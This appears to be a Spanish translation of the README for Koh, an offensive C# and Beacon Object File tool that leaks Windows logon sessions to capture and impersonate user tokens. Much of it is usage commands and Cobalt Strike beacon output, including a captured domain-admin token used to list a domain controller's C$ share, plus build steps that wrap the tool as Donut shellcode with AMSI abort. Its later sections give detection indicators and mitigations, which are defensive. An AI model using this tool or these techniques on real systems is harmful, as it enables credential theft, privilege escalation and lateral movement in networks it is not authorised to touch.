
Captura tokens de sesión de inicio de sesión de Windows mediante filtración de tokens para permitir la reutilización de credenciales y la suplantación de identidad, con integración de Cobalt Strike BOF para el robo de tokens durante la post-explotación.
Koh es un conjunto de herramientas en C# y Archivos de Objeto Beacon (BOF) que permite la captura de material de credenciales de usuario mediante una fuga intencionada de tokens/sesiones de inicio de sesión.
Parte del código se inspiró en el proyecto Internal-Monologue de Elad Shamir (sin licencia), así como en KB180548. Para saber por qué esto es posible y el enfoque de Koh, consulte la sección Antecedentes Técnicos de este README.
Para una explicación más profunda de la motivación detrás de Koh y su enfoque, consulte la publicación Koh: The Token Stealer.
@harmj0y es el autor principal de esta base de código. @tifkin_ ayudó con el enfoque, la implementación del BOF y algunos mecanismos de tokens.
Koh está licenciado bajo la licencia BSD 3-Cláusula.
El "servidor" Koh captura tokens y utiliza tuberías con nombre para el control/comunicación. Esto puede encapsularse en Donut e inyectarse en cualquier proceso de alta integridad SYSTEM (ver El Error de las Travesuras En Línea).
No planeamos lanzar binarios de Koh, por lo que tendrás que compilarlo tú mismo :)
Koh se ha compilado con .NET 4.7.2 y es compatible con Visual Studio 2019 Community Edition. Simplemente abra el archivo .sln del proyecto, elija "Release" y compile. El ensamblado Koh.exe y el PIC Koh.bin construido con Donut se generarán en el directorio principal. El blob de Donut es compatible con x86/x64, y se construye con las siguientes opciones usando v0.9.3 de Donut en ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
La licencia de Donut es BSD 3-cláusula.
### Uso
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - enumera sesiones de inicio de sesión (no de red)
* **monitor** - monitorea sesiones de inicio de sesión nuevas/únicas (no de red)
* **capture** - captura un token único por SID encontrado para nuevas sesiones de inicio de sesión (no de red)
También se pueden proporcionar SID de grupo en la línea de comandos, lo que hace que Koh monitoree/capture solo las sesiones de inicio de sesión que contengan los SID de grupo especificados en su información de token negociada.
### Ejemplo - Listar sesiones de inicio de sesión```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Solo lista resultados que tienen el SID del grupo de administradores de dominio (-512) en su información de token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Cliente Koh
El cliente utilizable actual es un Beacon Object File en `.\Clients\BOF\`. Cargue el script aggressor `.\Clients\BOF\KohClient.cna` en su cliente de Cobalt Strike para habilitar el control BOF del servidor Koh. El único requisito para usar tokens capturados es **SeImpersonatePrivilege**. La tubería con nombre de comunicación tiene un DACL "Everyone" pero utiliza una contraseña compartida básica (súper segura).
Para compilar desde Linux usando Mingw, consulte el script `.\Clients\BOF\build.sh`. El único requisito (al menos en Debian) debería ser `apt-get install gcc-mingw-w64`
### Uso```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
El comando koh filter add S-1-5-21-<DOMAIN>-<RID> solo capturará los tokens que contengan el SID de grupo proporcionado. Este comando se puede ejecutar varias veces para añadir SIDs adicionales para su captura. Esto puede ayudar a prevenir posibles problemas de estabilidad debido a una gran cantidad de fugas de tokens.
"Captura" sesiones de inicio de sesión negociando tokens utilizables para cada nueva sesión.
Servidor:``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
BOF cliente:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
Cuando se establece una nueva sesión de inicio de sesión en un sistema, LSASS crea un nuevo token para la sesión utilizando la llamada API NtCreateToken() y el llamador de LsaLogonUser() lo devuelve. Esto incrementa el campo ReferenceCount de la estructura del kernel de la sesión de inicio de sesión. Cuando este ReferenceCount llega a 0, la sesión de inicio de sesión se destruye. Debido a la información descrita en la sección Por qué esto es posible, los sistemas Windows NO liberarán una sesión de inicio de sesión si todavía existe un identificador de token para él (y por lo tanto el recuento de referencia != 0).
Por lo tanto, si podemos obtener un identificador a una sesión de inicio de sesión recién creada a través de un token, podemos mantener esa sesión abierta y luego suplantar ese token para utilizar cualquier credencial en caché que contenga.
Según esta publicación de un ingeniero de Microsoft:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) se aplicó en Windows 7/Server 2008, por lo que este enfoque debería ser efectivo para todo excepto sistemas Server 2003.
## Enfoque
Enumerar sesiones de inicio de sesión es fácil (desde un contexto elevado) mediante el uso de la API Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). Lo más difícil es tomar un identificador de sesión de inicio de sesión específico (LUID) y *de alguna manera* obtener un token utilizable vinculado a esa sesión.
### Posibles enfoques
Pensamos en algunas formas de a) mantener abiertas las sesiones de inicio de sesión y b) abusar de esto para la suplantación de tokens/uso de credenciales en caché.
1. El primer enfoque fue usar **NtCreateToken()**, que permite especificar un ID de sesión de inicio de sesión (LUID) para crear un nuevo token.
* Desafortunadamente, necesitas **SeCreateTokenPrivilege**, que tradicionalmente solo lo tiene LSASS, lo que significa que debes robar el token de LSASS, lo cual no es ideal.
* Una posibilidad era agregar **SeCreateTokenPrivilege** a NT AUTHORITY\SYSTEM mediante la modificación de la política LSA, pero esto requeriría un reinicio/nueva sesión de inicio de sesión para que se expresen los nuevos derechos de usuario.
2. También puedes enfocarte solo en las sesiones de inicio de sesión RemoteInteractive usando **WTSQueryUserToken()** para obtener tokens de nuevas sesiones de escritorio para clonar.
* Este es el enfoque aparentemente [demostrado por Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
* Desafortunadamente, esto omite las sesiones locales recién creadas y las sesiones entrantes creadas desde cosas como PSEXEC.
3. En una nueva sesión de inicio de sesión, abrir un identificador a cada proceso alcanzable y enumerar todos los identificadores existentes, clonando el token vinculado a la nueva sesión de inicio de sesión.
* Esto requiere abrir muchos procesos/identificadores, lo que parece muy sospechoso.
4. El enfoque **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** descrito a continuación, que es el que adoptamos.
### Nuestro enfoque
La llamada SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) tiene un campo **pvLogonID** que indica:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
Nota: Para poder utilizar un LUID de sesión de inicio de sesión con AcquireCredentialsHandle() necesitas SeTcbPrivilege, aunque esto suele ser más fácil de obtener que SeCreateTokenPrivilege.
El uso de esta llamada especificando un ID/LUID de sesión de inicio de sesión parece incrementar el ReferenceCount de la estructura de la sesión de inicio de sesión, impidiendo que se libere. Sin embargo, nos enfrentamos a otro problema: dada una sesión de inicio de sesión "filtrada"/retenida, ¿cómo obtenemos un token utilizable a partir de ella? WTSQueryUserToken() solo funciona con sesiones de escritorio, y no hay una API en modo usuario que hayamos encontrado que permita mapear un LUID a un token utilizable.
Sin embargo, podemos usar dos funciones SSPI adicionales, InitializeSecurityContext() y AcceptSecurityContext() para actuar como cliente y servidor hacia nosotros mismos, negociando un nuevo contexto de seguridad que luego podemos usar con QuerySecurityContextToken() para obtener un token utilizable. Esto fue documentado en KB180548 (reflejado por PKISolutions aquí) con el propósito de validación de credenciales. Este es un enfoque similar a Internal-Monologue, excepto que completamos todo el proceso de handshake, producimos un token y luego lo retenemos para uso posterior.
Luego se puede filtrar directamente sobre el token, mediante CheckTokenMembership() o GetTokenInformation(). Por ejemplo, podríamos liberar todos los tokens excepto los que pertenezcan a administradores de dominio, o a grupos específicos que queramos atacar.
He estado programando durante bastante tiempo. Este es uno de los errores más extraños y frustrantes de rastrear que he encontrado en un tiempo - por favor, ayúdenme con esto lol.
Cuando el ensamblado Koh.exe se ejecuta desde un contexto elevado (pero no SYSTEM), todo funciona correctamente.
Si el ensamblado Koh.exe se ejecuta mediante el proceso fork&run de Cobalt Strike Beacon con execute-assembly desde un contexto elevado (pero no SYSTEM), todo funciona correctamente.
Si el ensamblado Koh.exe se ejecuta inline (mediante InlineExecute-Assembly o Inject-Assembly) para un Cobalt Strike Beacon que se ejecuta en un contexto SYSTEM, todo funciona correctamente.
Sin embargo, si el ensamblado Koh.exe se ejecuta inline (mediante InlineExecute-Assembly o Inject-Assembly) para un Cobalt Strike Beacon que se ejecuta en un contexto elevado, pero no SYSTEM, la llamada a AcquireCredentialsHandle() falla con SEC_E_NO_CREDENTIALS y todo falla ¯\_(ツ)_/¯
Hemos intentado (sin éxito):
A todos los efectos, el contexto del hilo justo antes de la llamada a AcquireCredentialsHandle funciona en este contexto, pero el resultado da error. Y no tenemos idea de por qué.
Si tienes una idea de lo que podría ser, ¡por favor, háznoslo saber! Y si quieres experimentar con un ensamblado más simple, revisa el repositorio AcquireCredentialsHandle en mi GitHub para solucionar problemas.
Citando a @tifkin_ "Todo es sigiloso hasta que alguien lo busca." Aunque el enfoque de Koh es ligeramente diferente al de otros, aún existen IOCs que se pueden usar para detectarlo.
El GUID único de TypeLib para el recolector C# de Koh es 4d5350c8-7f8c-47cf-8cde-c752018af17e como se detalla en la regla Yara Koh.yar en este repositorio. Si esto no se cambia en la compilación, debería ser un indicador de muy alta fidelidad del servidor Koh.
Cuando el servidor Koh se inicia, abre una tubería con nombre llamada \\.\pipe\imposecost que permanece abierta mientras Koh se esté ejecutando. La contraseña predeterminada utilizada para la comunicación Koh es password, por lo que enviar password list a cualquier tubería \\.\pipe\imposecost te permitirá confirmar si Koh realmente se está ejecutando. La tubería de suplantación predeterminada utilizada es \\.pipe\imposingcost.
Si Koh se inicia en un contexto elevado pero no como SYSTEM, se realiza un clon de manejador/token de winlogon para realizar una elevación tipo getsystem.
Estoy seguro de que ningún atacante cambiará los indicadores mencionados anteriormente.
Probablemente haya algunos artefactos de RPC para la captura de tokens que esperamos investigar. Actualizaremos esta sección del README si encontramos artefactos de detección adicionales en esta línea. El hooking de algunas de las APIs posiblemente poco comunes utilizadas por Koh (LsaEnumerateLogonSessions o las específicas AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, particularmente usando un LUID en AcquireCredentialsHandle) podría ser explorado para determinar su efectividad, pero, ay, no soy un EDR.
Después de publicar el artículo Koh: The Token Stealer, tuve un excelente intercambio entre @cnotin y @SteveSyfuhs sobre lo que terminó siendo una mitigación parcial para este enfoque.
El parche KB2871997 introdujo una configuración TokenLeakDetectDelaySecs, que desencadena "...la limpieza de cualquier credencial de usuarios que hayan cerrado sesión...". De hecho, por defecto, los miembros del "Grupo de seguridad de usuarios protegidos" tienen este comportamiento aplicado independientemente de la configuración del registro. Sin embargo, establecer esto a un valor distinto de cero limpiará TODAS las credenciales de la memoria cuando un usuario cierre sesión. Específicamente, como menciona Steve: Si se establece, iniciará un temporizador en el evento de cierre de sesión *interactivo* de una sesión, y al activarse purgará cualquier cosa que aún esté vinculada a ella. Desactivado por defecto. Usuarios protegidos siempre activado, con un valor predeterminado de 30s.
Hay dos cosas importantes a tener en cuenta en el párrafo anterior: "evento de cierre de sesión" e "interactivo". Esto puede resultar en algunas situaciones en las que la credencial de un usuario NO se limpia:
runas o runas /netonly o algo similar, no hay evento de cierre de sesión cuando el proceso se detiene y la credencial/token aún puede ser capturada.(Necesito probar otras situaciones de inicio de sesión como NetworkClearText.)
Sin embargo, si el usuario está en el "Grupo de seguridad de usuarios protegidos" o TokenLeakDetectDelaySecs es distinto de cero, y el usuario cierra sesión activamente de una sesión interactiva o remota interactiva (RDP), las credenciales se limpiarán. Necesito programar Koh para manejar mejor este tipo de situaciones específicas.
TL;DR realmente deberías usar el "Grupo de seguridad de usuarios protegidos" para usuarios sensibles, y considerar si establecer TokenLeakDetectDelaySecs a un valor como 30 es factible en tu entorno.